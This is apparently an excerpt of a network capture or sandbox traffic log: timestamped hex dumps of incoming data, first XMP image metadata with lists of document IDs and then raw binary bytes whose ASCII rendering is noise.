2022-07-21 02:34:44 UTC	4237	IN	Data Raw: 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 33 66 31 32 64 32 37 2d 38 33 38 63 2d 63 35 34 62 2d 62 39 32 36 2d 30 38 61 38 37 66 35 31 36 65 38 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 34 38 32 66 64 38 34 2d 32 35 66 62 2d 36 37 34 61 2d 61 64 33 35 2d 39 30 65 34 30 61 61 62 35 32 65 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 34 39 64 64 63 34 62 2d 33 31 63 34 2d 34 66 62 61 2d 39 62 36 39 2d 30 63 39 38 62 34 38 34 32 62 65 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 34 61 33 39 36 35 63 2d 30 64 64 36 2d 34 30 34 35 2d 61 33 33 65 2d 30 61 32 39 32 37 33 35 61 61 31 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e Data Ascii: li>xmp.did:a3f12d27-838c-c54b-b926-08a87f516e8d</rdf:li> <rdf:li>xmp.did:a482fd84-25fb-674a-ad35-90e40aab52ec</rdf:li> <rdf:li>xmp.did:a49ddc4b-31c4-4fba-9b69-0c98b4842be2</rdf:li> <rdf:li>xmp.did:a4a3965c-0dd6-4045-a33e-0a292735aa19</rdf:li> <rdf:li>xmp.
2022-07-21 02:34:44 UTC	4253	IN	Data Raw: 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 34 66 64 33 33 61 66 2d 38 32 38 62 2d 34 62 37 30 2d 61 33 64 31 2d 37 37 61 39 65 63 63 62 36 64 62 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 35 31 36 35 35 36 66 2d 66 33 64 36 2d 34 63 31 36 2d 62 32 36 37 2d 30 31 37 36 31 39 33 31 65 65 33 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 35 36 35 39 30 35 35 2d 32 35 61 38 2d 34 36 34 63 2d 61 62 38 34 2d 39 61 32 38 64 32 62 66 38 61 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 35 38 30 33 30 30 61 2d 36 31 65 37 2d 63 64 34 66 2d 61 61 33 65 2d 62 34 39 32 62 33 62 32 35 64 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 Data Ascii: :li>xmp.did:d4fd33af-828b-4b70-a3d1-77a9eccb6dbb</rdf:li> <rdf:li>xmp.did:d516556f-f3d6-4c16-b267-01761931ee3c</rdf:li> <rdf:li>xmp.did:d5659055-25a8-464c-ab84-9a28d2bf8aaf</rdf:li> <rdf:li>xmp.did:d580300a-61e7-cd4f-aa3e-b492b3b25d66</rdf:li> <rdf:li>xmp
2022-07-21 02:34:44 UTC	4257	IN	Data Raw: 2d 61 64 63 35 2d 34 61 62 30 2d 38 39 30 62 2d 65 38 35 30 61 66 61 62 65 38 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 31 36 63 36 34 65 61 2d 36 63 65 36 2d 66 35 34 66 2d 62 63 64 65 2d 35 63 33 66 61 63 34 35 34 66 30 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 31 37 31 30 36 38 31 2d 62 62 32 38 2d 34 39 31 38 2d 62 39 33 33 2d 36 62 36 31 37 38 36 65 38 65 65 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 31 62 38 33 39 64 31 2d 34 62 66 66 2d 34 31 62 63 2d 39 31 33 32 2d 37 35 36 32 64 65 63 32 61 33 66 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 31 63 63 62 64 65 34 2d 36 39 61 62 2d 61 Data Ascii: -adc5-4ab0-890b-e850afabe8af</rdf:li> <rdf:li>xmp.did:e16c64ea-6ce6-f54f-bcde-5c3fac454f0d</rdf:li> <rdf:li>xmp.did:e1710681-bb28-4918-b933-6b61786e8eef</rdf:li> <rdf:li>xmp.did:e1b839d1-4bff-41bc-9132-7562dec2a3f3</rdf:li> <rdf:li>xmp.did:e1ccbde4-69ab-a
2022-07-21 02:34:44 UTC	4273	IN	Data Raw: 19 49 a9 0a f5 af 32 b7 9a 25 5e 4e 5d 2d bd 20 45 89 04 87 d1 fb 70 8b f9 95 46 b9 d0 7f f5 a6 58 f9 79 5e a5 92 6d e7 21 23 09 19 b5 1d 83 16 6f 34 48 ca 51 53 e5 ff 00 4b b4 d0 e0 26 53 ac d9 10 29 72 a1 58 b8 63 c0 8e 5a a3 ff 00 12 ce e5 9d cd 18 76 a7 c1 c4 5a 30 4c 68 a8 aa 42 f0 a5 3b d2 58 5d ae 7e f3 36 99 3e f5 26 49 85 60 31 cb 1a 95 2b 29 15 5e 3c ac cc e7 f0 df 5e 66 49 c9 3f 90 2c 82 ea b6 25 7c b4 f0 55 09 2a 31 d4 7a c5 61 89 e9 7c 73 0a 63 e2 37 e5 26 90 5d 7c 44 f1 03 b6 f8 6b 63 3e 83 9f 1b 33 6f 96 38 a4 95 64 66 25 56 95 05 8a b1 bd da fe 5e 55 6b 74 ff 00 33 38 6d 53 db 0b df 7f 13 6d 38 13 de e4 5d 2b c8 91 2e fc eb 49 d6 38 e1 c2 93 c0 03 27 37 51 95 6d e7 f7 79 6f d2 91 cb 2b 1c 9f 99 5b 51 90 c9 8b 7b d5 53 8d ad fd f4 66 46 12 Data Ascii: I2%^N]- EpFXy^m!#o4HQSK&S)rXcZvZ0LhB;X]~6>&I`1+)^<^fI?,%\|U*1za\|sc7&]\|Dkc>3o8df%V^Ukt38mSm8]+.I8'7Qmyo+[Q{SfF
2022-07-21 02:34:44 UTC	4289	IN	Data Raw: 56 67 66 57 1c 85 1e 2b bc de ef ea eb 3d e3 ca ce c0 a9 66 b1 40 2e 47 b5 ee b7 e2 57 ab 85 b1 16 e1 fd f4 7e 20 8e 05 63 34 8b 2f 52 4a ad a3 80 f6 5b f6 79 b4 42 67 42 d2 2c 48 40 bf 8a d7 85 7e 11 a9 6c 3f 51 63 19 65 c1 c9 90 44 44 62 40 ed ca 80 77 3b fd d4 e6 b5 74 67 55 71 27 58 72 89 72 40 60 c0 70 20 ff 00 99 a9 7d b3 06 fc c0 d7 b6 43 da 5f 66 a9 9e 9c bd 9c 69 87 a9 a6 ff 00 4e c5 fc ec 81 af c5 75 93 94 71 22 bd 37 4f fa 91 c8 da 5f be 65 8d e2 1f c9 43 03 4b 16 42 54 bb 29 00 54 56 3b 7f 6f 4f 8c 98 99 91 ac 33 72 4c 85 65 42 fc 6b 4e 1f 6a cf d5 e5 6d 48 ed f9 bb a3 e6 4b 83 8e 1a 4c 3c 59 55 55 d2 97 15 3f 32 d9 19 fb f6 ff 00 95 df d3 9f d2 c7 1a a4 90 b2 be 86 45 c9 b0 78 f9 bf 87 22 ff 00 98 8f f0 c9 9f 25 58 35 c5 fb 46 84 52 08 b2 f1 Data Ascii: VgfW+=f@.GW~ c4/RJ[yBgB,H@~l?QceDDb@w;tgUq'Xrr@`p }C_fiNuq"7O_eCKBT)TV;oO3rLeBkNjmHKL<YUU?2Ex"%X5FR
2022-07-21 02:34:44 UTC	4297	IN	Data Raw: 49 14 56 da cc 18 02 09 03 ba ea 2f e5 ef 5d f1 e9 fe 0e f7 85 0b fe 53 0a 43 2d 88 5c b1 e6 2c 47 da ba ef 3f 2d fa 5d 8f b6 47 2d 21 8c 44 f2 0a c9 2c 59 20 99 03 9e ea 47 14 dc fd 3b 15 ad e4 b2 ef 16 81 c0 f4 e2 60 ee 28 72 a1 3b 7b ca 82 30 f8 ee 15 1d 8f 3d 8c 53 93 a8 ca b6 74 ed f8 75 79 92 36 8d 96 40 c8 50 e7 cd d7 91 f1 45 f0 ff 00 94 d5 05 3f 30 f3 02 05 f5 03 e8 d4 c7 0f 66 ff 00 51 6f ce 97 99 0b 92 a6 f5 b9 ab 75 bc b7 16 b6 38 bd ff 00 fc ef 36 c9 7a 32 b6 34 d3 a4 f5 24 23 8b 55 ae 1f 89 03 a2 78 97 bc ad fd cd 24 6c fd c3 d3 72 cb 01 89 72 60 46 0c a4 1b 24 22 4e 76 99 d7 f0 1a d9 6f 4e 4e 9e a6 96 29 e1 ac 8b 22 15 67 e6 bc 98 a4 0e 39 fa 8b 23 7f db bb 79 55 72 75 51 b5 6d e0 6d 50 ae 0b e5 60 79 bf f1 3f 33 2c 7a 93 96 aa 58 a9 b0 d3 Data Ascii: IV/]SC-\,G?-]G-!D,Y G;`(r;{0=Stuy6@PE?0fQou86z24$#Ux$lrr`F$"NvoNN)"g9#yUruQmmP`y?3,zX
2022-07-21 02:34:44 UTC	4313	IN	Data Raw: 15 7b eb cd f0 e9 b5 98 ca fe 66 01 01 5b 32 df cc 57 6e 96 e9 ee d5 a2 b8 3c c0 1b fa 05 aa ac 6e 86 23 47 37 c1 68 4a 30 b9 83 78 ae e2 d7 77 7b be 0d 50 64 4f 8b be c2 22 db 1e 18 f2 f8 5c 59 48 3c 3b f1 dd 6f 7f 53 d8 fb 18 97 6e 9b 70 62 53 39 58 aa c6 d5 b5 ff 00 97 13 c4 bc cc d2 3f 72 de 6d 26 db b2 24 ce c8 95 18 7e 4f a8 cc 59 94 b5 a2 44 2b 5c 79 23 6b 7b 92 5a cf 7f 3f 8b 59 67 6e 92 dd d0 90 62 e2 7b bf 63 f9 bf 0d 58 82 09 65 e0 78 8a ad 8f 20 ed 12 fe 57 70 8f a4 67 4e 3d 3e 61 4a da f4 f7 7e ce 9f 6d 1b 9e 3c 8c d1 c5 2c 61 05 aa 89 75 59 47 77 e6 53 bb cd a8 bf 50 61 1c 25 0f ba 65 fc ef e1 f5 01 2b 51 e2 53 08 fc 36 5e 5e 7f 16 8e db 67 58 c5 d1 34 47 80 60 d1 b1 aa 90 2e e6 51 fa f7 e8 0f b7 49 22 f3 0e b9 71 23 2f 2d b1 f0 e5 54 2e 54 Data Ascii: {f[2Wn<n#G7hJ0xw{PdO"\YH<;oSnpbS9X?rm&$~OYD+\y#k{Z?Ygnb{cXex WpgN=>aJ~m<,auYGwSPa%e+QS6^^gX4G`.QI"q#/-T.T
2022-07-21 02:34:44 UTC	4329	IN	Data Raw: 5a 7e 75 be 5f 26 b4 6d b2 6e 3b 3c e9 b8 c5 21 68 55 81 72 af 70 70 08 ea c5 d3 ef 3f 2b 79 7d fd 0a 0f 96 98 c9 77 61 9d 8e 0b d0 7c ce e3 67 fe 2a 24 53 f9 66 e1 72 36 e1 7c 6c d4 26 44 59 8b bb 3e 36 c3 7a 26 3b b3 c0 a0 b5 a6 9c 26 76 bf bd cd df 6f 16 9c 6f 19 83 75 c1 96 7c d9 6e dc 18 51 a2 02 84 05 23 a9 ee f7 79 93 bd 77 9f 42 ee be a6 ca 9b 25 64 48 a2 8f a5 7f 4d d6 ac 48 76 ea fb 4a f7 b4 87 75 f5 06 46 7c cf 97 9d d3 69 8a 04 14 51 70 1f 45 57 b9 ad b4 59 66 09 92 85 c6 cd ca dc ec ea 7b f5 4d c3 c5 91 6d 72 6d 2d d9 8f 86 96 41 1b 4f 30 5c 68 43 1f ac 17 3a e9 58 1e 8f c2 db 57 af ba 11 2e 42 ad 5a 24 a0 45 f6 8e b3 af ec a7 eb eb 99 61 ef 99 98 0e 46 3d aa a4 8b 94 a8 21 a8 6e b5 fc 56 e9 f6 e3 eb 3c cd d6 36 c6 3d 35 8e 7e 0d 4e 04 7b 4d Data Ascii: Z~u_&mn;<!hUrpp?+y}wa\|g*$Sfr6\|l&DY>6z&;&voou\|nQ#ywB%dHMHvJuF\|iQpEWYf{Mmrm-AO0\hC:XW.BZ$EaF=!nV<6=5~N{M
2022-07-21 02:34:44 UTC	4336	IN	Data Raw: 82 c3 6b 13 60 cc 0b 48 f6 f5 72 e5 5c f2 00 b7 90 e9 d9 de a1 7d 57 92 b0 64 cb 10 6e 8c ca 90 5c c7 89 95 59 ae 4c 79 7f cc 8a 45 e5 74 7f c3 ea 7b ba ac c2 9f 37 2d 17 c3 0f 07 ea 39 a9 7e 3c c2 d5 11 f4 be 1b 7f 0b ca dc 9a 89 6c c9 f7 7c f9 b2 b9 31 f2 b0 c4 2a cc dc 55 9c 33 c3 d6 41 4e eb 75 95 e1 d7 43 c3 89 23 09 88 f3 07 a4 2b 58 b8 57 96 8a d2 f9 ec 6f 7b 5e 7f 79 68 a2 44 20 66 07 37 7a dc a9 96 3f e2 a9 24 00 16 a3 f7 6d e3 0a 28 a4 c8 81 1c 65 05 78 9e d7 51 73 77 5a 96 16 66 b9 ae e9 d9 a5 5b 2c b8 d9 57 2b ab 9a dc 8a ad f4 35 bd 40 d6 f2 de cd e3 6f e5 fc 7a 64 7d 34 90 cb f9 60 8b 21 ea 84 21 41 ba cb ae ea 49 cb c9 72 bf e2 f7 6f ee fe 1e 95 6e 5b 7e 7c 30 c9 16 db 1b 45 59 13 8a ab 95 16 dc ac 9d 59 2e e4 e4 4f fc ba 76 21 09 4f 2d 18 Data Ascii: k`Hr\}Wdn\YLyEt{7-9~<l\|1*U3ANuC#+XWo{^yhD f7z?$m(exQswZf[,W+5@ozd}4`!!AIron[~\|0EYY.Ov!O-
2022-07-21 02:34:44 UTC	4352	IN	Data Raw: 19 96 ac c7 f8 4b dd 55 8f 55 d9 ec 9b 72 6c 58 dc 90 97 f7 ea 8d 76 23 b4 9f 4d 55 67 4a 5b 76 81 cc 64 c7 2e 3b 40 5a 94 1d 4a f5 2d f8 51 2e be 4f 3b a2 68 b3 8e 99 72 2e 24 85 5b 27 18 07 57 62 28 6a 2d 49 a3 45 f1 7c 5d cd 08 77 28 76 dc 61 24 6a c1 fa a1 a5 90 10 c4 87 6f 9c e7 c4 fc ba cb 33 16 1c 77 39 db 73 08 88 8c a0 49 05 40 51 df 58 23 f0 b7 97 9a c4 f2 eb d5 9d 9e da 19 0c d2 d9 d9 63 8d 57 4c 97 cb 4f c9 77 f7 fc bf fc 4f e6 73 d1 55 1d 5c 80 2c 6d ca 7d 3f 44 af 22 8a 7c 77 c9 95 4b 64 17 60 28 ad c0 10 a1 59 46 87 c8 c4 dc 16 63 b8 ab 08 a4 8d 4f 21 17 23 03 fc 26 44 6f fd cd 05 b4 cf 95 b6 ac a3 22 c0 8e dd 54 71 c4 73 72 fc de 37 37 2f eb 69 cf e6 32 81 6c 9c 73 1c b0 95 0c 62 1d ea 0e f7 37 89 b5 e5 e7 9b cb dc c8 c8 b1 ca 8e 5b 13 2f Data Ascii: KUUrlXv#MUgJ[vd.;@ZJ-Q.O;hr.$['Wb(j-IE\|]w(va$jo3w9sI@QX#cWLOwOsU\,m}?D"\|wKd`(YFcO!#&Do"Tqsr77/i2lsb7[/
2022-07-21 02:34:44 UTC	4368	IN	Data Raw: 0a 0f e9 e2 f1 b6 8a ce 9e 6d ef 25 15 17 9a 34 0a d4 f1 38 e5 76 fb dd df 75 75 af 37 26 2d a2 36 8d 7e 6e 42 28 32 84 e2 22 1e 1e cf 1e b0 e0 88 a3 70 ca 67 ec ff 00 2d 5b e9 d5 f0 d3 3c 8f 66 27 f2 53 55 f6 f1 ef 50 f8 91 e0 e4 64 ca 32 1d e6 68 16 ad 1a 35 2e 6f 2d 7f cb f1 eb 5e 4e 5e 3e 2c 67 25 eb 1c d5 25 45 fd ef 2a 2f 8b e5 f9 ed d2 ad 95 70 f6 ec c5 cf 91 84 31 4c 09 8e 40 5a b7 57 99 19 0a f8 be 2e 4d 23 de f7 03 b8 65 be 43 77 a4 63 45 1e c1 e0 1e ef 2e b5 44 1e 64 82 31 7f 2d 07 55 b1 bb 77 d3 ee ff 00 d3 ae 8e 52 e3 23 a1 e1 8a f0 5f 0f c7 55 18 5b c4 b9 f2 24 b2 c8 10 86 a0 04 50 30 f6 f5 3c 5f 77 fb 9a ab db 37 4f f4 b7 92 27 66 31 34 97 0a 21 21 6e f0 b3 47 77 ee eb 9c c1 8e c2 58 d1 6a 2d a2 8a 76 d7 c5 d9 cd de d7 45 d9 b6 79 f0 62 4c Data Ascii: m%48vuu7&-6~nB(2"pg-[<f'SUPd2h5.o-^N^>,g%%E*/p1L@ZW.M#eCwcE.Dd1-UwR#_U[$P0<_w7O'f14!!nGwXj-vEybL
2022-07-21 02:34:44 UTC	4376	IN	Data Raw: b7 ed 31 c7 16 56 06 4c 0e 49 24 95 0b 5f a5 82 fc 9b be 1f 0e bc 7c 7c 25 71 8c 23 75 25 79 64 26 d6 8d 90 99 a3 c9 e5 36 b5 ac b7 f7 be c6 a9 9b 23 17 7a 11 4b 96 7a 86 2f 97 2a 22 97 01 fc f1 d5 5b e5 cd fc 29 3c 71 fe aa 5b 87 db b0 19 42 71 d4 9c 1d d7 dc c5 79 ea c0 64 6f 73 48 e2 f5 b6 cd b8 a3 ca f9 3d 39 83 8e 59 41 02 c3 dd 48 b8 37 77 c4 d7 59 a7 f8 b0 2e 4a 99 63 65 92 2a 54 b2 10 c0 0f 7a df 0e a7 b7 ef f6 f3 6f dd 91 9f 64 5e 96 51 72 4c 4c 4d b4 03 99 0a 37 e1 b5 dd df b9 6e a7 30 b0 f6 a7 94 6d b9 f1 4b b3 6e 24 db d4 8d d9 12 4e 36 f7 1e f8 d6 ef fd 3d 5a 4d ae da 58 84 9b 72 e1 56 ea c3 0c 99 7d ac 7f 2d fe ca bf 2d 41 4d 2f 70 47 a7 d1 ef 55 df a6 36 3e 9e 44 f3 46 a3 f2 b2 4a 42 5c 38 95 5e e7 c3 1f 57 4f b7 a7 54 c7 90 ba 97 11 83 70 Data Ascii: 1VLI$_\|\|%q#u%yd&6#zKz/"[)<q[BqydosH=9YAH7wY.JceTzod^QrLLM7n0mKn$N6=ZMXrV}--AM/pGU6>DFJB\8^WOTp
2022-07-21 02:34:44 UTC	4392	IN	Data Raw: c9 16 e1 26 46 e3 87 1f cf 80 53 22 36 35 b6 ef e3 47 e6 85 fc 5f cb d2 6c 66 9b 70 c3 9e 69 23 0b 06 38 b5 48 3c 39 8d af 17 da f7 7b 9a e4 2b e4 93 3b a4 6b 20 5f 28 86 cb 06 7e ee 5c bf 0d 0d e4 94 32 aa 2b 17 8f 26 93 ba 1a 3b d2 ae 87 e7 31 eb 0f 2a ab f2 83 c0 0d 1b b6 e5 65 43 2b d6 11 2a 98 7a 72 28 1d e5 07 b6 3f 7f 58 66 b2 ed d1 21 82 e1 03 10 6f 04 32 dd fc b9 74 77 a5 67 c7 dd f3 18 3c 04 38 8e 52 4d c6 8a d6 f2 b7 bb cd a0 c5 b8 7d ac 52 4f 62 c8 05 d4 b7 56 29 45 25 e4 70 08 d0 75 63 cc da d4 ff 00 5b 0d 5d 9a 22 45 5e a5 59 68 79 4d cb f6 b5 47 b7 18 b7 5b ef b4 5c 86 c6 27 b1 81 f1 46 35 2f 93 8f 25 c2 46 37 09 2a 5d 89 e3 5f 15 7e 2d 3d d9 b6 c1 ba e3 bb 6d 2e 17 2a 2a b3 47 5e f0 1f c9 f1 5f ee 6a fb b8 a3 99 d5 ec cc 78 f2 72 26 35 31 Data Ascii: &FS"65G_lfpi#8H<9{+;k _(~\2+&;1eC+zr(?Xf!o2twg<8RM}RObV)E%puc[]"E^YhyMG[\'F5/%F7]_~-=m.*G^_jxr&51
2022-07-21 02:34:44 UTC	4408	IN	Data Raw: 19 38 41 55 22 e9 89 5a d6 78 d4 52 d3 cc f7 4b 1f 75 5a db 74 cf 6c 8c b1 68 e2 99 95 dd 8d c4 2f 2d 38 2d 21 f0 ad bd d4 d3 5d b7 05 23 37 43 93 23 48 f5 63 71 ed af 83 a7 dd 5f b3 ad 1b be 60 db dd 01 17 3b 82 40 5f a0 7b 4f 97 49 19 9a 4f cb 02 e7 5d 6d c7 ed d1 32 05 46 3f 5e 94 da 2e 86 de 94 8d 40 3e d3 da c7 cc d7 68 68 bd 41 8f 39 6b 49 e5 e0 41 e0 41 fa f4 b9 b7 28 15 10 64 82 a1 d4 b1 35 ee af d2 ce de 6d 60 b0 61 66 a8 30 49 1b a8 e3 ec e1 a5 c4 0b a9 94 36 bd ea bd d8 f1 a6 a9 bb 42 cc 48 e2 07 d1 c4 eb 4e 46 e1 99 90 4a 61 a4 4c 48 e5 59 1e c2 4f 87 be 9d 3b 7e de 83 8e 6c 4c 4e 0f 2c 61 6b ec e3 fa ab ad 1b d6 68 10 c7 91 b6 b2 c9 10 34 91 b8 12 ac 7b b7 44 eb 76 af 1c 2b e6 2f 25 c1 f1 f4 50 5e 47 45 2c 39 8a eb 88 ea a4 13 63 7a 88 ca b0 Data Ascii: 8AU"ZxRKuZtlh/-8-!]#7C#Hcq_`;@_{OIO]m2F?^.@>hhA9kIAA(d5m`af0I6BHNFJaLHYO;~lLN,akh4{Dv+/%P^GE,9cz
2022-07-21 02:34:44 UTC	4416	IN	Data Raw: 45 1e 04 dd 38 32 a2 cb 89 94 30 78 c3 0f b2 e9 28 56 57 d7 41 f5 57 fb 2a f8 ab f9 bd 8a 57 9e 31 c4 c0 e6 ad 4f f2 1b 95 5f e0 e5 d7 2b 78 9a 16 68 dc 15 65 24 15 61 42 08 fa 46 b6 37 1b 38 13 6e 4c 28 65 16 c7 3b eb 0f bc bf c4 f8 d9 b9 ab 4d d9 c4 61 98 2c 80 2e 26 45 e5 e6 f1 b7 b5 4d 61 dd 32 23 4e 92 48 c6 22 41 31 93 54 34 f3 c4 79 5b 4d 21 df 72 a7 cf 87 25 e7 4c 25 45 58 c9 48 c5 b6 83 77 cc 54 5e ee a5 95 be 9d 15 87 93 1c 52 03 3a 19 23 3c 08 0c 55 bf 4a 3f 76 ef 8d 75 e7 5e 04 07 22 81 8f a2 c3 9a 95 76 cd 0a 02 57 2d 2e bd 95 dd 3d 51 8e 3d 4c bb 78 c2 95 0c 51 92 65 c9 50 02 b2 d3 e6 47 1c 5e 57 91 57 c5 f7 b4 9f d5 db 4f fa 56 36 1a 6d e8 cf b9 e4 64 86 88 5b 73 b2 2a bd cd 25 a9 c9 1c 77 7c a8 7e 5c 69 e5 ba ed 4e fa 47 35 b0 32 96 4d 8f Data Ascii: E820x(VWAWW1O_+xhe$aBF78nL(e;Ma,.&EMa2#NH"A1T4y[M!r%L%EXHwT^R:#<UJ?vu^"vW-.=Q=LxQePG^WWOV6md[s%w\|~\iNG52M
2022-07-21 02:34:44 UTC	4432	IN	Data Raw: 31 9c ac b6 26 57 c6 29 d3 52 00 5b 18 ab a4 71 84 f7 35 1f 9f b2 6e b0 c5 26 66 7c 65 a3 36 dc 43 02 6a 7b a5 b4 e6 6c fc 7d c6 04 c2 c4 6f 9d 3c 58 e5 8f 60 06 21 61 56 ff 00 32 fb 7e c6 b6 e4 db c2 40 64 0a c0 9f cc 64 e8 5e 8c 97 ec 67 51 13 b5 c9 bf a8 53 5d eb d4 33 e0 66 ed f2 cb 22 bc 2c aa f2 a2 0e 1c 4f 3b 7b f6 2f 9b 58 ee db 56 44 99 32 65 63 41 8d 1c f7 f5 52 51 38 43 1f 15 11 da aa d6 c8 8c a9 77 71 3e 63 e9 0f ae 77 29 33 65 8a 29 17 a7 24 2b d3 6f 67 1f e2 69 03 ec d9 18 98 f1 e6 cf 22 32 4d 42 a2 fa b9 af f7 3c 7a b6 df 68 3c b8 dc 15 8d c8 65 c6 d9 79 9a e7 dc 68 ea 1d ec 48 fe fa e9 fe 91 dc 63 cf 49 e4 cb 54 44 e9 97 99 89 26 a5 7b d2 77 b9 7d ef 7f 5a 22 8d f7 5d ca 0d df 21 53 1a 39 51 a1 88 13 c5 d0 1b a0 97 8f 37 cc 4b da df 2f c7 Data Ascii: 1&W)R[q5n&f\|e6Cj{l}o<X`!aV2~@dd^gQS]3f",O;{/XVD2ecARQ8Cwq>cw)3e)$+ogi"2MB<zh<eyhHcITD&{w}Z"]!S9Q7K/
2022-07-21 02:34:44 UTC	4448	IN	Data Raw: 9c 10 6e 17 d0 63 fd ba ba a8 ec a2 c6 3e 3e 34 52 63 e2 42 7f 2f 1d 6d 8d 7c 4d de 64 b9 9b e6 78 6d f0 78 74 06 66 e6 d0 64 74 a4 7e 9c 34 b6 eb 4d 01 f0 db 25 56 dd 06 3d 43 b6 6d aa 98 b0 ca d9 99 20 73 24 0a 58 54 fb 59 17 e5 a5 cf ef 3c 89 af 57 13 7c dd d1 88 e9 60 63 da 2f 56 02 69 08 3c d7 18 16 e4 89 fc 7e ee 8c 21 2a 72 9b 95 4f 06 93 94 b6 5d e5 4e 77 fb 95 38 de e4 7f 6d 36 d9 a1 9b 26 3f cc 88 51 83 83 64 ab c8 c4 03 e2 b9 6c 7f 32 37 c2 da 5b ea 3d cb 22 27 1b 60 c4 9e 72 56 b5 55 a0 27 f9 8f 91 5b 2e 4f 73 4e 60 31 6d 10 89 a6 cc 96 52 12 da c9 c0 5a a6 de af 48 05 f8 7a 9f c4 d3 09 ff 00 31 33 ab 63 b2 b4 74 1c 7d be f2 b2 f8 b4 16 95 16 72 ea b9 47 dc cf 24 e6 5f a7 45 40 5e d6 e3 ec d7 36 da fa db 7e 55 92 d2 36 02 8c 18 fb 7b d6 f2 f2 Data Ascii: nc>>4RcB/m\|Mdxmxtfdt~4M%V=Cm s$XTY<W\|`c/Vi<~!*rO]Nw8m6&?Qdl27[="'`rVU'[.OsN`1mRZHz13ct}rG$_E@^6~U6{
2022-07-21 02:34:44 UTC	4456	IN	Data Raw: be 9a b7 ab 32 31 16 1c 74 c6 62 5a 88 8c c0 21 b8 f7 5c 7e 27 27 7b 97 4f c5 e6 a2 f2 84 60 d6 53 93 61 89 8f f3 7d af cb ce a6 6f 29 dd 08 36 c4 9c 7d e7 fc ba 67 0e 24 3b 56 2c 10 cd 22 c4 dd 31 db db c7 9b bb de f1 69 76 46 ff 00 b7 6d ca 49 49 72 e5 ad 40 5e 0a 7c 3c be 2f d4 d2 3d ef 78 96 06 a4 f0 e3 99 89 25 f8 b4 87 fa cc 9f 2f ee 69 6c 79 7b ae fd 13 41 1b 15 58 94 b5 88 a6 a5 3b cc ca a2 d5 58 93 fa 2e ab b7 f9 7b ce 43 39 cb 33 76 e6 c3 f0 fe d5 29 fd 1e dd 19 a5 97 9b c2 bd d1 f0 d5 1e 5f ac 77 56 0b 1c 10 45 86 1e 95 62 43 48 ab e6 b1 fc 76 f8 2d d2 7c 7c e3 0e 4a 6e 19 b9 86 69 96 e0 14 ab 49 50 c2 d6 f1 46 90 bb 7f 93 dc d2 14 c3 18 c9 f9 9c c9 2f 62 2a 89 d8 08 f3 bf 96 ef 0f 9b 5f 7e 6e 49 71 dc 42 40 79 ad 63 5e d5 a7 85 5b c3 a7 53 65 Data Ascii: 21tbZ!\~''{O`Sa}o)6}g$;V,"1ivFmIIr@^\|</=x%/ily{AX;X.{C93v)_wVEbCHv-\|\|JniIPF/b*_~nIqB@yc^[Se
2022-07-21 02:34:44 UTC	4472	IN	Data Raw: 6f a7 87 9e 83 2f 24 65 8d ce 3c 71 ed ae 53 8d bc cc ac 26 b8 91 1e 3d 95 93 88 01 5a ee 9a 84 55 65 b5 59 bc da ab f4 f6 ef fe b9 95 24 2f 12 41 09 42 e3 a7 c7 9b 80 86 3e a3 69 56 f7 b3 43 36 d7 8f 9d 1c 67 15 cc cd 0b a3 1a 3b f2 21 bd d3 ed 69 1e d1 0b cb 3d d8 ac d1 08 08 49 28 68 4f 82 ff 00 0d af e6 7d 6c ee a1 8a 78 7c c2 02 3e 3a 30 d5 53 c3 d3 f4 4a aa 1b 12 07 f6 57 55 cf 85 33 8c 58 93 b3 c1 2c 06 f8 26 8c 51 85 47 cc f3 24 ed 22 fe 25 da 96 83 60 9f 6c cb 39 73 66 99 8c c5 9a aa cc a5 b8 fc bb d9 7b af e6 b9 2c d3 dd ba 5e ba ac 70 49 40 82 ea ba d4 37 84 3f 54 15 d1 0f 87 8d 9b 7a fe 1e 44 66 d0 55 39 09 ef db c2 c6 66 b7 58 03 71 2a 9c 18 e9 8e 0d ca bd 0b f0 d4 8e 5d 6f db c4 f3 00 69 4e ed b2 27 a8 63 75 74 0d 38 5a ac a2 8a 6f 03 b8 6e Data Ascii: o/$e<qS&=ZUeY$/AB>iVC6g;!i=I(hO}lx\|>:0SJWU3X,&QG$"%`l9sf{,^pI@7?TzDfU9fXq*]oiN'cut8Zon
